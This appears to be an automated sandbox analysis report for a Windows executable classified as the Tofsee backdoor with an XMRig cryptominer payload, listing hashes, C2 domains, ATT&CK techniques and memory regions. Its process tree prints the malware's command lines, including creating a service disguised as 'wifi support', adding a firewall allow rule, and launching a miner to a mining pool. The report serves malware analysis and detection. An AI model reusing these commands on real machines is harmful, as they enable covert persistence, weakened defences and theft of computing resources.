Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows10-1703_x64
  • resource
    win10-20220812-en
  • resource tags

    arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25-09-2022 05:18

General

  • Target

    0ef96177554f1cd2eea823b6dc0c3dc54aec830827a2e82f59aed9fe7b896ba5.exe

  • Size

    201KB

  • MD5

    f5a2b47d112ad48b217f27a0ffc4014e

  • SHA1

    be36dbcfced8ae41257aa9f01598ddf232ece6fe

  • SHA256

    0ef96177554f1cd2eea823b6dc0c3dc54aec830827a2e82f59aed9fe7b896ba5

  • SHA512

    ba59b8939e00fad5ff72780952571d86820c18fc2b891e4d8367dfc2d61b24c57eaec46a8eb236c79a3728d6fad902c6a13497015407977f33f8a3e07aa75458

  • SSDEEP

    3072:kGDc4L5uExDN5+AXZMj1Uc+ub/PbvB4AqdBc619NOL/PkIXx:PL7xtktbnbJ45

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0ef96177554f1cd2eea823b6dc0c3dc54aec830827a2e82f59aed9fe7b896ba5.exe
    "C:\Users\Admin\AppData\Local\Temp\0ef96177554f1cd2eea823b6dc0c3dc54aec830827a2e82f59aed9fe7b896ba5.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2584
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dgdltovs\
      2⤵
        PID:1828
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vjpgkcbo.exe" C:\Windows\SysWOW64\dgdltovs\
        2⤵
          PID:1468
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dgdltovs binPath= "C:\Windows\SysWOW64\dgdltovs\vjpgkcbo.exe /d\"C:\Users\Admin\AppData\Local\Temp\0ef96177554f1cd2eea823b6dc0c3dc54aec830827a2e82f59aed9fe7b896ba5.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4248
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dgdltovs "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4276
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dgdltovs
          2⤵
          • Launches sc.exe
          PID:1284
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4904
      • C:\Windows\SysWOW64\dgdltovs\vjpgkcbo.exe
        C:\Windows\SysWOW64\dgdltovs\vjpgkcbo.exe /d"C:\Users\Admin\AppData\Local\Temp\0ef96177554f1cd2eea823b6dc0c3dc54aec830827a2e82f59aed9fe7b896ba5.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3052
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5048
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3768

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\vjpgkcbo.exe
        Filesize

        10.9MB

        MD5

        0197232f2e2ceebb85c98086d415b359

        SHA1

        74caa4cddd93ef0afd852c738c8e61fc5463971a

        SHA256

        db1616cdd8ef5d2743f605eb75ec6cd20b5f34c6c543d4d151e5816e91f3becb

        SHA512

        7f6a0acc0222e697f49f9c3a021056fe8f3143e41206f85ad456119a82f13423384077a3e958e01b2482243de4b07f046334f32348886185eb56222401444ab9

      • C:\Windows\SysWOW64\dgdltovs\vjpgkcbo.exe
        Filesize

        10.9MB

        MD5

        0197232f2e2ceebb85c98086d415b359

        SHA1

        74caa4cddd93ef0afd852c738c8e61fc5463971a

        SHA256

        db1616cdd8ef5d2743f605eb75ec6cd20b5f34c6c543d4d151e5816e91f3becb

        SHA512

        7f6a0acc0222e697f49f9c3a021056fe8f3143e41206f85ad456119a82f13423384077a3e958e01b2482243de4b07f046334f32348886185eb56222401444ab9

      • memory/1284-191-0x0000000000000000-mapping.dmp
      • memory/1468-178-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1468-179-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1468-177-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1468-176-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1468-175-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1468-174-0x0000000000000000-mapping.dmp
      • memory/1828-172-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1828-171-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1828-170-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1828-169-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1828-168-0x0000000000000000-mapping.dmp
      • memory/1828-173-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-155-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-126-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-129-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-130-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-131-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-133-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-134-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-135-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-136-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-137-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-138-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-139-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-140-0x00000000006B0000-0x00000000007FA000-memory.dmp
        Filesize

        1.3MB

      • memory/2584-141-0x00000000006B0000-0x00000000007FA000-memory.dmp
        Filesize

        1.3MB

      • memory/2584-142-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-143-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-144-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-145-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-146-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-147-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-148-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-149-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-150-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-151-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-152-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-153-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-154-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-127-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-156-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-157-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-158-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-159-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-160-0x0000000000400000-0x000000000058C000-memory.dmp
        Filesize

        1.5MB

      • memory/2584-161-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-162-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-128-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-125-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-124-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-123-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-122-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-121-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-120-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-119-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-163-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-164-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-165-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-166-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-167-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-117-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/2584-215-0x0000000000400000-0x000000000058C000-memory.dmp
        Filesize

        1.5MB

      • memory/2584-118-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3052-293-0x0000000000E20000-0x0000000000E33000-memory.dmp
        Filesize

        76KB

      • memory/3052-316-0x0000000000400000-0x000000000058C000-memory.dmp
        Filesize

        1.5MB

      • memory/3052-313-0x0000000000E20000-0x0000000000E33000-memory.dmp
        Filesize

        76KB

      • memory/3052-290-0x0000000000590000-0x000000000063E000-memory.dmp
        Filesize

        696KB

      • memory/3768-520-0x000000000230259C-mapping.dmp
      • memory/4248-184-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4248-186-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4248-183-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4248-182-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4248-181-0x0000000000000000-mapping.dmp
      • memory/4276-188-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4276-189-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4276-185-0x0000000000000000-mapping.dmp
      • memory/4276-187-0x0000000077A40000-0x0000000077BCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4904-212-0x0000000000000000-mapping.dmp
      • memory/5048-308-0x0000000002909A6B-mapping.dmp
      • memory/5048-386-0x0000000002900000-0x0000000002915000-memory.dmp
        Filesize

        84KB

      • memory/5048-486-0x0000000002900000-0x0000000002915000-memory.dmp
        Filesize

        84KB